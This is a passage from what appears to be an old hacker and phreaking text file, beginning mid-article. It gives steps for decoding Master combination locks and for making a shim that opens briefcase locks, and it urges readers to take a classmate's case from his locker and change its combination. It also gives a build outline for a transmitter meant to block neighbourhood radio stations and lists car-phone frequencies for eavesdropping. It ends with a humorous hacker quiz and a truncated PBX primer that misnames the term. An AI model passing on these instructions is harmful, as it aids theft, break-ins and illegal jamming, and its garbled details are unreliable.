YOU'RE THROUGH..... +THERE WILL BE A CLICK, THE SCREWDRIVER WILL TURN FREELY, AND THE DOOR WILL + OPEN. DON'T GET DISCOURAGE ON YOUR FIRST TRY! IT WILL PROBABLY TAKE YOU ABOUT + 20-30 MINUTES YOUR FIRST TIME. AFTER THAT YOU WILL QUICKLY IMPROVE WITH + PRACTICE. + THIS IS BY NO MEANS THE MOST EFFICIENT WAY OF ENTERING A HOUSE. IF YOU WOULD + LIKE ANOTHER ITEM OR TWO DEVOTED TO THESE OTHER WAYS, LET THE SYSOP KNOW. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + How to Pick Master Locks + + Have you ever tried to impress your friends by picking one of those Master +combination locks and failed? Well then read on. The Master lock company has +made this kind of lock with a protection scheme. If you pull the handle of it +hard, the knob won't turn. That was their biggest mistake...... Ok, now on to +it. + + 1st number. Get out any of the Master locks so you know what's going on. 1: +The handle part (the part that springs open when you get the combination), pull +on it, but not enough so that the knob won't move. 2: While pulling on it turn +the knob to the left until it won't move any more. Then add 5 to this number. +Congradulations, you now have the 1st number. + + 2nd number. (a lot tougher) Ok, spin the dial around a couple of times, then +go to the 1st number you got, then turn it to the right, bypassing the 1st +number once. WHEN you have bypassed. Start pulling the handle and turning it. +It will eventually fall into the groove and lock. While in the groove pull on +it and turn the knob. If it is loose go to the next groove; if it's stiff you +got the second number. + + 3rd number: After getting the 2nd, spin the dial, then enter the 2 numbers, +then after the 2nd, go to the right and at all the numbers pull on it. The lock +will eventually open if you did it right. If can't do it the first time, be +patient, it takes time. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +/-----------------------------------------------------------------------------\ +| Mister Shim(TM) - Your Briefcase-Opening Pal | +\-----------------------------------------------------------------------------/ + +Here'sa toy that will have limited use for most people now, but which might +encourage a bit more sneakiness in the future. It's a simple device that +allowsyou to quickly and silently open, with no injury to yourself or the +target,virtually any briefcase that uses a combination lock as its sole +security measure. + +___________________| |_ This is the kind of lock to which I refer. +| ___ _ _ _ | | | It's used primarily on your cheaper-style +|| | |-| |-| |-| | | | attache cases, popular among yuppies and +||___| |-| |-| |-| |____| | other wimpy neo-rich types -- maybe including +|__________________________| that nerdy kid in your homeroom with the + ^^^ ^^^^^^^^^ ^^ hornrim glasses and the pencil case in his + Slide Combo Dials Hasp shirt pocket. You never know what he might + have hidden in there . . . like a nice HP +calculator (which he never uses -- he extracts cube roots in his head) or his +lunchmoney. Now you can find out without him knowing. Just snatch the case +fromhis locker, where he keeps it during Gym period, and be sure to put it +backbefore he returns. (And if you don't know how to get into his locker, +checkout the Master Lock file in PHRACK issue #1.) + +------------------------ +Building Mister Shim(TM) +------------------------ + +You'llneed a thin piece of metal about 2cm by 3cm. (We're using metric here, +guys. So sue me.) In the one I made I used a piece cut from an aluminum Coke +canand it worked fine. Out of the 2cm end, cut it to look like the diagram +below(which I wish could be less confusing . . . just look at it carefully). + + / - - - - 12mm - - - - \ + |_______ _______| _ _ + _ | aluminum | | 2mm + 1mm| _ |____/\____ ____/\____| _ _ _ _ _ _|_ + . .. \/_ _ .._ _ . _ _ _ _ _ _ _| 1mm + 2mm wide:____::____::____::____: + about 1.3mm wide ^^ ^^ ^^ + + (To SCALE? Are you KIDDING?) + +Itlookstough, but really isn't . . . use a very sharp exacto knife to cut out +thetwo corners first, then a fine trangular metal file to smooth it and file +outthe small indentations. It'll take about ten to fifteen minutes if you do +itcarefully, and it does NOT have to be EXACT . . . just get it as close as +youcan. It helps to have one of those locks nearby to fine-tune the shim. +Simplyset the lock to its correct combiation and insert Mister Shim(TM) as +described below. If it works as described, your shim is properly designed. + +--------------------- +UsingMister Shim(TM) +--------------------- + +Theguywho designed this particular type of lock knew that he'd have to +installsome sort of "back door" in it, for all those airheads who would change +thenumbers on their locks and then forget them, or in case Random Briefcase +Vandalsassaulted the luggage store, raping, pillaging, and changing +combinations as they went. This is that back door. + +Useissimple. Slide the modified end of Mister Shim(TM) into the gap right +t to the dial on the lock. (Try both sides, it varies from lock to lock.) +IfMister Shim(TM) goes in ALL THE WAY with a little jiggling, the number shown +onthe dial is correct. If not, turn to the next number and try again. On a +three-dial lock, it will take an average of only fifteen checks to find the +propercombination; on a two-lock case with a practiced operator, this adds up +toLESS THAN A MINUTE to open the case. + +Youcannow access anything inside the case you like, or change the combination +ifyou wish. (To change the combination, push the slide towards the hasp [see +firstdiagram] and hold it, then turn the dials to the desired new combo. Your +victimwill have to go to someone with their own Mister Shim(TM) -- or destroy +thelock -- if they ever want to get into their briefcase again.) + +UseMisterShim(TM) in good health. +_______________________________________________________________________________ + +DISCLAIMER: Certain applications of Mister Shim(TM) may be illegal in some +areas. Consult your attorney. Mister Shim(TM) is not intended for internal or +topicaluse. Keep away from cuts or open sores. And remember, this is just an +hibition, not a competition. Please . . . no wagering. + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +III.> Radio Hacking/Satelite Hacking + + + ------FREQUING------ + ******************** + * THE BASIS BEHIND * + * RADIO HACKING * + ******************** + + + This article deals with Satellite hacking, CB info, and car phone +systems. + +Satellite Control +----------------- + Companies try to build satellites to last for as long a time as +possible. Unfortunately, for the companies, things in space can +happen unexpectantly and suddently. Take that satellite released by +the space shuttle. It's orbit carried it way off t he correct +altitude. The company's only hope was to fire a rocket on it in order +to bring it to the correct place. + Now think...how does one on the ground fire a rocket in space? +Radio! Gee, if the company could change the orbit, maybe we can too. +Sound interesting? Of course we were not the first to think of this. +The satellite companies have worried about this for a long time. +There are stories about top secret codes, frequencies, and protocols +required to 'nudge' one of those babies. + The only problem is that-there is little information about this out +there. If you have any info, make a text file, and let others know of +your knowledge. But let me tell you all I know about a simple +satellite whose telemetry is known well. + OSCAR 6 was a satellite sent up in order to take in amateur signals +between 145.9 and 146.0 MHz, and re-transmit them between 29.45 and +29.55 MHz using a transponder. Early in 1976, OSCAR 6 began to have +battery problems. The telemetry allowed the ground command stations +to shut the satellite off at regular intervals to prolong the useful +life of the satellite. + Now we know the satellite sent out telemetry reports at a certain +frequency (OSCAR 7 was 29.502 and 145.972 MHz). And it sent them out +in the form of Morse code at about 20 wpm. Information rate of spin, +power use, and temperature were sent out at 20 wpm. This seems to +suggest that the control might have also used morse code. Strangely +enough, there was never any information in the American Radio Relay +League magazine about just how they control the OSCAR satellites. +(Hams know what's safe and what's crazy also) + Suggestions: Don't overlook RTTY when trying to Satelhack +(Satellite hacking). Also, chances are the owners will figure out +what you did, so 'downing', the ultimate for a satelhack, is pretty +difficult. + +Citizen's Band +-------------- + CB is a very popular communications method. Again, you need a +license from the FCC to operate legally. But it's so hard to track +down a CB signal unless you have a massive amplifier or talk for hours +straight, there is little use in getting one. Here is a list of +channel frequencies: + +Channel Frequency + (MHz) + 1 26.965 + 2 26.975 + 3 26.985 + 4 27.005 + 5 27.015 + 6 27.025 + 7 27.035 + 8 27.055 + 9-emergency 27.065 + 10 27.075 + 11-contact channel 27.085 + 12 27.105 + 13 27.115 + 14 27.125 + 15 27.135 + 16 27.155 + 17 27.165 + 18 27.175 + 19-trucker's channel 27.185 + 20 27.205 + 21 27.215 + 22 27.225 + 22A (optional) 27.235 + 22B (optional) 27.245 + 23 27.255 + +A Cheap Ghost-Interferance +-------------------------- + How can you start a real cheap ghost or interferance station? Well, +the Radio Shack wireless FM microphone (the clip on one) is pretty +good for $19.95 (price may change). It's range is said to be 100 +yards, but actual tests show its range is about 100 ft. outside, 40 +ft. inside. However, in the instructions it says that increasing the +battery power will make it stronger, but this would not be in +compliance with the FCC (oh darn!). One problem with this is that +with a stronger battery comes the risk of frying something inside. +Instead of trying to upgrade the silly thing, just make a new one. +Open it up and take a look at how it is made. Now, get a cheap +microphone then feed it into an amplifier like that on your stereo. +Then take the outputs of the amplifier and feed it into the same kind +of circuit as the wireless microphone contains (use heavy-duty parts +so they won't fry. The only parts are a varactor diode and three +silicon transistors). You new transmitter can now block out stations +in a relatively sized neighborhood (great in cities). + +Mobile Phones +------------- + Radio phones have been around for a while. The first mobile +telephone call was made September 11, 1946 between a Houston Post and +a St. Louis Globe reporter. An old mobile phone service in New York +city had 700 subscribers, but could only handle 12 conversations at a + time (because it had 12 channels). There are some 160,000 mobile +telephones nationwide. + The old service was doomed to fail. Each major city had one or two +powerful transmitters to communicate with all car phones in a 30- to +50-mile radius. To make a call from a car, you must find a vacant +channel, then call the operator and supply the number you want to +call. The operator dials the number and connects you when the party +answers. Only a few companies have dial-it-yourself service. If +someone wants to call you, they must first find the mobile phone +operator in your area. The operator finds a vacant channel and +transmits a series of tones that correspond to your phone and make it +ring-sort of as if it were a pager. Once you answer, the operator +connects you and the caller. + Clearly, the system was slow. Worse, it could only serve a few +users at a time. During rush hour, there was little hope of making a +call. Few channels could be added because of the dearth of +frequencies for that kind of operation. So now you can't get a mobile +phone of this type unless someone else gives one up. + Enter the cellular mobile radio. Instead of only 1 or 2 +transmitters, an area is divided up into many small sections, called +'cells'. Each has it's own low-powered transmitter just strong enough +to serve it's cell. An average cell covers from one to eight square +miles and varies in shape from a circle to a squashed football. Each +cell touches another, some overlap slightly. + Adjacent cells use different channels-there are more than 600 in +each city to choose from-and a channel may be re-used several times in +the city if the cells are located far enough apart. All of the cell's +transmitters hook into one network switching office, much like a +central office handles calls form land-based telephones. + Each transmitter constantly sends out a special signal, and as you +drive from cell to cell, your telephone automaticly tunes in the +strongest cell. When a call comes in for you, the network switching +office uses the channel to send a digital pulse signal that +corresponds to your ten-digit phone number (NPA+7 digits). + When the phone hears it's number, it in effect says 'Here I am, in +this certain cell'. That information is sent back to the network +switching office, which scans vacant frequencies, and relays the +information to your cell. Finally, your unit tunes to that voice +channel, and the cell site rings you, and you talk. + It sounds complicated-and it is. But it works in seconds. And it +can be expanded. As more and more phones are added, cells can be +split into smaller cells with less power. Cellular radio already +exists in Japan, Denmark, Norway, and Sweden. In Denmark, service +began in 1981 and grew to 100,000 customers almost overnight. Within +a few years all of Scandinavia will have compatable cellular systems. +Australia, Canada, and Mexico also plan systems. + Why has the U.S. lagged behind? Yep, it's our old freinds, the +FCC. They studied the system for 12 years before okaying the service +in 1982. The U.S. may be full celled by 1988. Now is the time to +rent your backyard as a cellular station! + The Bell companies will operate cellular service as the Cellular +Service Company. Others such as GTE and MCI plan similar service. +Even the Washington Post is trying to get into it. There are already +two systems, one in Washington/Baltimore, and one in Chicago. Chicago + users pay about $50 rent and $25 monthly use fee for 120 minutes, and +25 cents/minute hereafter. Average bills are $150/month. + The main unit mounts in the trunk, and just the handset sits up +front. The antennas are very small-about nine inches-and are hidden +inside the car. + Now freaking old car phone systems shoudln't be that hard if you +really try. The following are the freq's to remember: + + 158.07-158.49 MHz (mobile) + 152.81-153.03 MHz (base stations) + + You CAN listen in on these freq's. What I'm not sure about is +whether you can place a call-I would think so. So Freq out! + + COMMING SOON: Repair trucks, installers, and linesmen, Marine +Radio, and Airplane phones + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +IV.> Hacking Quiz. How do you rank? + + + This test was conceived and written by Felix Lee, John Hayes and Angela + Thomas at the end of the spring semester, 1989. It has gone through + many revisions prior to this initial release, and will undoubtedly go + through many more. + + + (Herewith a compendium of fact and folklore about computer hackerdom, + cunningly disguised as a test.) + + + Scoring - Count 1 for each item that you have done, or each + question that you can answer correctly. + + + If you score is between: You are + + 0x000 and 0x010 -> Computer Illiterate + 0x011 and 0x040 -> a User + 0x041 and 0x080 -> an Operator + 0x081 and 0x0C0 -> a Nerd + 0x0C1 and 0x100 -> a Hacker + 0x101 and 0x180 -> a Guru + 0x181 and 0x200 -> a Wizard + + Note: If you don't understand the scoring, stop here. + + + And now for the questions... + + + 0001 Have you ever used a computer? + 0002 ... for more than 4 hours continuously? + 0003 ... more than 8 hours? + 0004 ... more than 16 hours? + 0005 ... more than 32 hours? + + 0006 Have you ever patched paper tape? + + 0007 Have you ever missed a class while programming? + 0008 ... Missed an examination? + 0009 ... Missed a wedding? + 0010 ... Missed your own wedding? + + 0011 Have you ever programmed while intoxicated? + 0012 ... Did it make sense the next day? + + 0013 Have you ever written a flight simulator? + + 0014 Have you ever voided the warranty on your equipment? + + 0015 Ever change the value of 4? + 0016 ... Unintentionally? + 0017 ... In a language other than Fortran? + + 0018 Do you use DWIM to make life interesting? + + 0019 Have you named a computer? + + 0020 Do you complain when a "feature" you use gets fixed? + + 0021 Do you eat slime-molds? + + 0022 Do you know how many days old you are? + + 0023 Have you ever wanted to download pizza? + + 0024 Have you ever invented a computer joke? + 0025 ... Did someone not 'get' it? + + 0026 Can you recite Jabberwocky? + 0027 ... Backwards? + + 0028 Have you seen "Donald Duck in Mathemagic Land"? + + 0029 Have you seen "Tron"? + + 0030 Have you seen "Wargames"? + + 0031 Do you know what ASCII stands for? + 0032 ... EBCDIC? + + 0033 Can you read and write ASCII in hex or octal? + 0034 Do you know the names of all the ASCII control codes? + + 0035 Can you read and write EBCDIC in hex? + + 0036 Can you convert from EBCDIC to ASCII and vice versa? + + 0037 Do you know what characters are the same in both ASCII and EBCDIC? + + 0038 Do you know maxint on your system? + + 0039 Ever define your own numerical type to get better precision? + + 0040 Can you name powers of two up to 2**16 in arbitrary order? + 0041 ... up to 2**32? + 0042 ... up to 2**64? + + 0043 Can you read a punched card, looking at the holes? + 0044 ... feeling the holes? + + 0045 Have you ever patched binary code? + 0046 ... While the program was running? + + 0047 Have you ever used program overlays? + + 0048 Have you met any IBM vice-president? + 0049 Do you know Dennis, Bill, or Ken? + + 0050 Have you ever taken a picture of a CRT? + 0051 Have you ever played a videotape on your CRT? + + 0052 Have you ever digitized a picture? + + 0053 Did you ever forget to mount a scratch monkey? + + 0054 Have you ever optimized an idle loop? + + 0055 Did you ever optimize a bubble sort? + + 0056 Does your terminal/computer talk to you? + + 0057 Have you ever talked into an acoustic modem? + 0058 ... Did it answer? + + 0059 Can you whistle 300 baud? + 0060 ... 1200 baud? + + 0061 Can you whistle a telephone number? + + 0062 Have you witnessed a disk crash? + 0063 Have you made a disk drive "walk"? + + 0064 Can you build a puffer train? + 0065 ... Do you know what it is? + + 0066 Can you play music on your line printer? + 0067 ... Your disk drive? + 0068 ... Your tape drive? + + 0069 Do you have a Snoopy calendar? + 0070 ... Is it out-of-date? + + 0071 Do you have a line printer picture of... + 0072 ... the Mona Lisa? + 0073 ... the Enterprise? + 0074 ... Einstein? + 0075 ... Oliver? + 0076 Have you ever made a line printer picture? + + 0077 Do you know what the following stand for? + 0078 ... DASD + 0079 ... Emacs + 0080 ... ITS + 0081 ... RSTS/E + 0082 ... SNA + 0083 ... Spool + 0084 ... TCP/IP + + Have you ever used + 0085 ... TPU? + 0086 ... TECO? + 0087 ... Emacs? + 0088 ... ed? + 0089 ... vi? + 0090 ... Xedit (in VM/CMS)? + 0091 ... SOS? + 0092 ... EDT? + 0093 ... Wordstar? + + 0094 Have you ever written a CLIST? + + Have you ever programmed in + 0095 ... the X windowing system? + 0096 ... CICS? + + 0097 Have you ever received a Fax or a photocopy of a floppy? + + 0098 Have you ever shown a novice the "any" key? + 0099 ... Was it the power switch? + + Have you ever attended + 0100 ... Usenix? + 0101 ... DECUS? + 0102 ... SHARE? + 0103 ... SIGGRAPH? + 0104 ... NetCon? + + 0105 Have you ever participated in a standards group? + + 0106 Have you ever debugged machine code over the telephone? + + 0107 Have you ever seen voice mail? + 0108 ... Can you read it? + + 0109 Do you solve word puzzles with an on-line dictionary? + + 0110 Have you ever taken a Turing test? + 0111 ... Did you fail? + + 0112 Ever drop a card deck? + 0113 ... Did you successfully put it back together? + 0114 ... Without looking? + + 0115 Have you ever used IPCS? + + 0116 Have you ever received a case of beer with your computer? + + 0117 Does your computer come in 'designer' colors? + + 0118 Ever interrupted a UPS? + + 0119 Ever mask an NMI? + + 0120 Have you ever set off a Halon system? + 0121 ... Intentionally? + 0122 ... Do you still work there? + + 0123 Have you ever hit the emergency power switch? + 0124 ... Intentionally? + + 0125 Do you have any defunct documentation? + 0126 ... Do you still read it? + + 0127 Ever reverse-engineer or decompile a program? + 0128 ... Did you find bugs in it? + + 0129 Ever help the person behind the counter with their terminal/computer? + + 0130 Ever tried rack mounting your telephone? + + 0131 Ever thrown a computer from more than two stories high? + + 0132 Ever patched a bug the vendor does not acknowledge? + + 0133 Ever fix a hardware problem in software? + 0134 ... Vice versa? + + 0135 Ever belong to a user/support group? + + 0136 Ever been mentioned in Computer Recreations? + + 0137 Ever had your activities mentioned in the newspaper? + 0138 ... Did you get away with it? + + 0139 Ever engage a drum brake while the drum was spinning? + + 0140 Ever write comments in a non-native language? + + 0141 Ever physically destroy equipment from software? + + 0142 Ever tried to improve your score on the Hacker Test? + + 0143 Do you take listings with you to lunch? + 0144 ... To bed? + + 0145 Ever patch a microcode bug? + 0146 ... around a microcode bug? + + 0147 Can you program a Turing machine? + + 0148 Can you convert postfix to prefix in your head? + + 0149 Can you convert hex to octal in your head? + + 0150 Do you know how to use a Kleene star? + + 0151 Have you ever starved while dining with philosophers? + + 0152 Have you solved the halting problem? + 0153 ... Correctly? + + 0154 Ever deadlock trying eating spaghetti? + + 0155 Ever written a self-reproducing program? + + 0156 Ever swapped out the swapper? + + 0157 Can you read a state diagram? + 0158 ... Do you need one? + + 0159 Ever create an unkillable program? + 0160 ... Intentionally? + + 0161 Ever been asked for a cookie? + + 0162 Ever speed up a system by removing a jumper? + + * Do you know... + + 0163 Do you know who wrote Rogue? + 0164 ... Rogomatic? + + 0165 Do you know Gray code? + + 0166 Do you know what HCF means? + 0167 ... Ever use it? + 0168 ... Intentionally? + + 0169 Do you know what a lace card is? + 0170 ... Ever make one? + + 0171 Do you know the end of the epoch? + 0172 ... Have you celebrated the end of an epoch? + 0173 ... Did you have to rewrite code? + + 0174 Do you know the difference between DTE and DCE? + + 0175 Do you know the RS-232C pinout? + 0176 ... Can you wire a connector without looking? + + * Do you have... + + 0177 Do you have a copy of Dec Wars? + 0178 Do you have the Canonical Collection of Lightbulb Jokes? + 0179 Do you have a copy of the Hacker's dictionary? + 0180 ... Did you contribute to it? + + 0181 Do you have a flowchart template? + 0182 ... Is it unused? + + 0183 Do you have your own fortune-cookie file? + + 0184 Do you have the Anarchist's Cookbook? + 0185 ... Ever make anything from it? + + 0186 Do you own a modem? + 0187 ... a terminal? + 0188 ... a toy computer? + 0189 ... a personal computer? + 0190 ... a minicomputer? + 0191 ... a mainframe? + 0192 ... a supercomputer? + 0193 ... a hypercube? + 0194 ... a printer? + 0195 ... a laser printer? + 0196 ... a tape drive? + 0197 ... an outmoded peripheral device? + + 0198 Do you have a programmable calculator? + 0199 ... Is it RPN? + + 0200 Have you ever owned more than 1 computer? + 0201 ... 4 computers? + 0202 ... 16 computers? + + 0203 Do you have a SLIP line? + 0204 ... a T1 line? + + 0205 Do you have a separate phone line for your terminal/computer? + 0206 ... Is it legal? + + 0207 Do you have core memory? + 0208 ... drum storage? + 0209 ... bubble memory? + + 0210 Do you use more than 16 megabytes of disk space? + 0211 ... 256 megabytes? + 0212 ... 1 gigabyte? + 0213 ... 16 gigabytes? + 0214 ... 256 gigabytes? + 0215 ... 1 terabyte? + + 0216 Do you have an optical disk/disk drive? + + 0217 Do you have a personal magnetic tape library? + 0218 ... Is it unlabelled? + + 0219 Do you own more than 16 floppy disks? + 0220 ... 64 floppy disks? + 0221 ... 256 floppy disks? + 0222 ... 1024 floppy disks? + + 0223 Do you have any 8-inch disks? + + 0224 Do you have an internal stack? + + 0225 Do you have a clock interrupt? + + 0226 Do you own volumes 1 to 3 of _The Art of Computer Programming_? + 0227 ... Have you done all the exercises? + 0228 ... Do you have a MIX simulator? + 0229 ... Can you name the unwritten volumes? + + 0230 Can you quote from _The Mythical Man-month_? + 0231 ... Did you participate in the OS/360 project? + + 0232 Do you have a TTL handbook? + + 0233 Do you have printouts more than three years old? + + * Career + + 0234 Do you have a job? + 0235 ... Have you ever had a job? + 0236 ... Was it computer-related? + + 0237 Do you work irregular hours? + + 0238 Have you ever been a system administrator? + + 0239 Do you have more megabytes than megabucks? + + 0240 Have you ever downgraded your job to upgrade your processing power? + + 0241 Is your job secure? + 0242 ... Do you have code to prove it? + + 0243 Have you ever had a security clearance? + + * Games + + 0244 Have you ever played Pong? + + Have you ever played + 0246 ... Spacewar? + 0247 ... Star Trek? + 0248 ... Wumpus? + 0249 ... Lunar Lander? + 0250 ... Empire? + + Have you ever beaten + 0251 ... Moria 4.8? + 0252 ... Rogue 3.6? + 0253 ... Rogue 5.3? + 0254 ... Larn? + 0255 ... Hack 1.0.3? + 0256 ... Nethack 2.4? + + 0257 Can you get a better score on Rogue than Rogomatic? + + 0258 Have you ever solved Adventure? + 0259 ... Zork? + + 0260 Have you ever written any redcode? + + 0261 Have you ever written an adventure program? + 0262 ... a real-time game? + 0263 ... a multi-player game? + 0264 ... a networked game? + + 0265 Can you out-doctor Eliza? + + * Hardware + + 0266 Have you ever used a light pen? + 0267 ... did you build it? + + Have you ever used + 0268 ... a teletype? + 0269 ... a paper tape? + 0270 ... a decwriter? + 0271 ... a card reader/punch? + 0272 ... a SOL? + + Have you ever built + 0273 ... an Altair? + 0274 ... a Heath/Zenith computer? + + Do you know how to use + 0275 ... an oscilliscope? + 0276 ... a voltmeter? + 0277 ... a frequency counter? + 0278 ... a logic probe? + 0279 ... a wirewrap tool? + 0280 ... a soldering iron? + 0281 ... a logic analyzer? + + 0282 Have you ever designed an LSI chip? + 0283 ... has it been fabricated? + + 0284 Have you ever etched a printed circuit board? + + * Historical + + 0285 Have you ever toggled in boot code on the front panel? + 0286 ... from memory? + + 0287 Can you program an Eniac? + + 0288 Ever seen a 90 column card? + + * IBM + + 0289 Do you recite IBM part numbers in your sleep? + 0290 Do you know what IBM part number 7320154 is? + + 0291 Do you understand 3270 data streams? + + 0292 Do you know what the VM privilege classes are? + + 0293 Have you IPLed an IBM off the tape drive? + 0294 ... off a card reader? + + 0295 Can you sing something from the IBM Songbook? + + * Languages + + 0296 Do you know more than 4 programming languages? + 0297 ... 8 languages? + 0298 ... 16 languages? + 0299 ... 32 languages? + + 0300 Have you ever designed a programming language? + + 0301 Do you know what Basic stands for? + 0302 ... Pascal? + + 0303 Can you program in Basic? + 0304 ... Do you admit it? + + 0305 Can you program in Cobol? + 0306 ... Do you deny it? + + 0307 Do you know Pascal? + 0308 ... Modula-2? + 0309 ... Oberon? + 0310 ... More than two Wirth languages? + 0311 ... Can you recite a Nicklaus Wirth joke? + + 0312 Do you know Algol-60? + 0313 ... Algol-W? + 0314 ... Algol-68? + 0315 ... Do you understand the Algol-68 report? + 0316 ... Do you like two-level grammars? + + 0317 Can you program in assembler on 2 different machines? + 0318 ... on 4 different machines? + 0319 ... on 8 different machines? + + Do you know + 0320 ... APL? + 0321 ... Ada? + 0322 ... BCPL? + 0323 ... C++? + 0324 ... C? + 0325 ... Comal? + 0326 ... Eiffel? + 0327 ... Forth? + 0328 ... Fortran? + 0329 ... Hypertalk? + 0330 ... Icon? + 0331 ... Lisp? + 0332 ... Logo? + 0333 ... MIIS? + 0334 ... MUMPS? + 0335 ... PL/I? + 0336 ... Pilot? + 0337 ... Plato? + 0338 ... Prolog? + 0339 ... RPG? + 0340 ... Rexx (or ARexx)? + 0341 ... SETL? + 0342 ... Smalltalk? + 0343 ... Snobol? + 0344 ... VHDL? + 0345 ... any assembly language? + + 0346 Can you talk VT-100? + 0347 ... Postscript? + 0348 ... SMTP? + 0349 ... UUCP? + 0350 ... English? + + * Micros + + 0351 Ever copy a copy-protected disk? + 0352 Ever create a copy-protection scheme? + + 0353 Have you ever made a "flippy" disk? + + 0354 Have you ever recovered data from a damaged disk? + + 0355 Ever boot a naked floppy? + + * Networking + + 0356 Have you ever been logged in to two different timezones at once? + + 0357 Have you memorized the UUCP map for your country? + 0358 ... For any country? + + 0359 Have you ever found a sendmail bug? + 0360 ... Was it a security hole? + + 0361 Have you memorized the HOSTS.TXT table? + 0362 ... Are you up to date? + + 0363 Can you name all the top-level nameservers and their addresses? + + 0364 Do you know RFC-822 by heart? + 0365 ... Can you recite all the errors in it? + + 0366 Have you written a Sendmail configuration file? + 0367 ... Does it work? + 0368 ... Do you mumble "defocus" in your sleep? + + 0369 Do you know the max packet lifetime? + + * Operating systems + + Can you use + 0370 ... BSD Unix? + 0371 ... non-BSD Unix? + 0372 ... AIX + 0373 ... VM/CMS? + 0374 ... VMS? + 0375 ... MVS? + 0376 ... VSE? + 0377 ... RSTS/E? + 0378 ... CP/M? + 0379 ... COS? + 0380 ... NOS? + 0381 ... CP-67? + 0382 ... RT-11? + 0383 ... MS-DOS? + 0384 ... Finder? + 0385 ... PRODOS? + 0386 ... more than one OS for the TRS-80? + 0387 ... Tops-10? + 0388 ... Tops-20? + 0389 ... OS-9? + 0390 ... OS/2? + 0391 ... AOS/VS? + 0392 ... Multics? + 0393 ... ITS? + 0394 ... Vulcan? + + 0395 Have you ever paged or swapped off a tape drive? + 0396 ... Off a card reader/punch? + 0397 ... Off a teletype? + 0398 ... Off a networked (non-local) disk? + + 0399 Have you ever found an operating system bug? + 0400 ... Did you exploit it? + 0401 ... Did you report it? + 0402 ... Was your report ignored? + + 0403 Have you ever crashed a machine? + 0404 ... Intentionally? + + * People + + 0405 Do you know any people? + 0406 ... more than one? + 0407 ... more than two? + + * Personal + + 0408 Are your shoelaces untied? + + 0409 Do you interface well with strangers? + + 0410 Are you able to recite phone numbers for half-a-dozen computer systems + but unable to recite your own? + + 0411 Do you log in before breakfast? + + 0412 Do you consume more than LD-50 caffeine a day? + + 0413 Do you answer either-or questions with "yes"? + + 0414 Do you own an up-to-date copy of any operating system manual? + 0415 ... *every* operating system manual? + + 0416 Do other people have difficulty using your customized environment? + + 0417 Do you dream in any programming languages? + + 0418 Do you have difficulty focusing on three-dimensional objects? + + 0419 Do you ignore mice? + + 0420 Do you despise the CAPS LOCK key? + + 0421 Do you believe menus belong in restaurants? + + 0422 Do you have a Mandelbrot hanging on your wall? + + 0423 Have you ever decorated with magnetic tape or punched cards? + 0424 Do you have a disk platter or a naked floppy hanging in your home? + + 0425 Have you ever seen the dawn? + 0426 ... Twice in a row? + + 0427 Do you use "foobar" in daily conversation? + 0428 ... "bletch"? + + 0429 Do you use the "P convention"? + + 0430 Do you automatically respond to any user question with RTFM? + 0431 ... Do you know what it means? + + 0432 Do you think garbage collection means memory management? + + 0433 Do you have problems allocating horizontal space in your room/office? + + 0434 Do you read Scientific American in bars to pick up women? + + 0435 Is your license plate computer-related? + + 0436 Have you ever taken the Purity test? + + 0437 Ever have an out-of-CPU experience? + + 0438 Have you ever set up a blind date over the computer? + + 0439 Do you talk to the person next to you via computer? + + * Programming + + 0440 Can you write a Fortran compiler? + 0441 ... In TECO? + + 0442 Can you read a machine dump? + 0443 Can you disassemble code in your head? + + Have you ever written + 0444 ... a compiler? + 0445 ... an operating system? + 0446 ... a device driver? + 0447 ... a text processor? + 0448 ... a display hack? + 0449 ... a database system? + 0450 ... an expert system? + 0451 ... an edge detector? + 0452 ... a real-time control system? + 0453 ... an accounting package? + 0454 ... a virus? + 0455 ... a prophylactic? + + 0456 Have you ever written a biorhythm program? + 0457 ... Did you sell the output? + 0458 ... Was the output arbitrarily invented? + + 0459 Have you ever computed pi to more than a thousand decimal places? + 0460 ... the number e? + + 0461 Ever find a prime number of more than a hundred digits? + + 0462 Have you ever written self-modifying code? + 0463 ... Are you proud of it? + + 0464 Did you ever write a program that ran correctly the first time? + 0465 ... Was it longer than 20 lines? + 0466 ... 100 lines? + 0467 ... Was it in assembly language? + 0468 ... Did it work the second time? + + 0469 Can you solve the Towers of Hanoi recursively? + 0470 ... Non-recursively? + 0471 ... Using the Troff text formatter? + + 0472 Ever submit an entry to the Obfuscated C code contest? + 0473 ... Did it win? + 0474 ... Did your entry inspire a new rule? + + 0475 Do you know Duff's device? + + 0476 Do you know Jensen's device? + + 0477 Ever spend ten minutes trying to find a single-character error? + 0478 ... More than an hour? + 0479 ... More than a day? + 0480 ... More than a week? + 0481 ... Did the first person you show it to find it immediately? + + * Unix + + 0482 Can you use Berkeley Unix? + 0483 .. Non-Berkeley Unix? + + 0484 Can you distinguish between sections 4 and 5 of the Unix manual? + + 0485 Can you find TERMIO in the System V release 2 documentation? + + 0486 Have you ever mounted a tape as a Unix file system? + + 0487 Have you ever built Minix? + + 0488 Can you answer "quiz function ed-command" correctly? + 0489 ... How about "quiz ed-command function"? + + * Usenet + + 0490 Do you read news? + 0491 ... More than 32 newsgroups? + 0492 ... More than 256 newsgroups? + 0493 ... All the newsgroups? + + 0494 Have you ever posted an article? + 0495 ... Do you post regularly? + + 0496 Have you ever posted a flame? + 0497 ... Ever flame a cross-posting? + 0498 ... Ever flame a flame? + 0499 ... Do you flame regularly? + + 0500 Ever have your program posted to a source newsgroup? + + 0501 Ever forge a posting? + 0502 Ever form a new newsgroup? + 0503 ... Does it still exist? + + 0504 Do you remember + 0505 ... mod.ber? + 0506 ... the Stupid People's Court? + 0507 ... Bandy-grams? + + * Phreaking + + 0508 Have you ever built a black box? + + 0509 Can you name all of the 'colors' of boxes? + 0510 ... and their associated functions? + + 0511 Does your touch tone phone have 16 DTMF buttons on it? + + 0512 Did the breakup of MaBell create more opportunities for you? + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +V.> Introducion to PBX's + + + pppp bbbbb x x + p p b b x x + p p b b xx + pppp bbbbb xx + p b b x x + p bbbbb x x + + PBX - Public Branch eXchange + + For all you new phreakers that are vocabularized real well that's the +formal definations......and for those that know what their doing it's +your best phriend..... + + A PBX is no more than a phone line leading into a little box with about +10 lines coming out of it.....Most PBX's are located inside big businesses +such as doctor's office, banks, and other type of important places that +have large masses of people calling in.... + + You will realize when you dial a 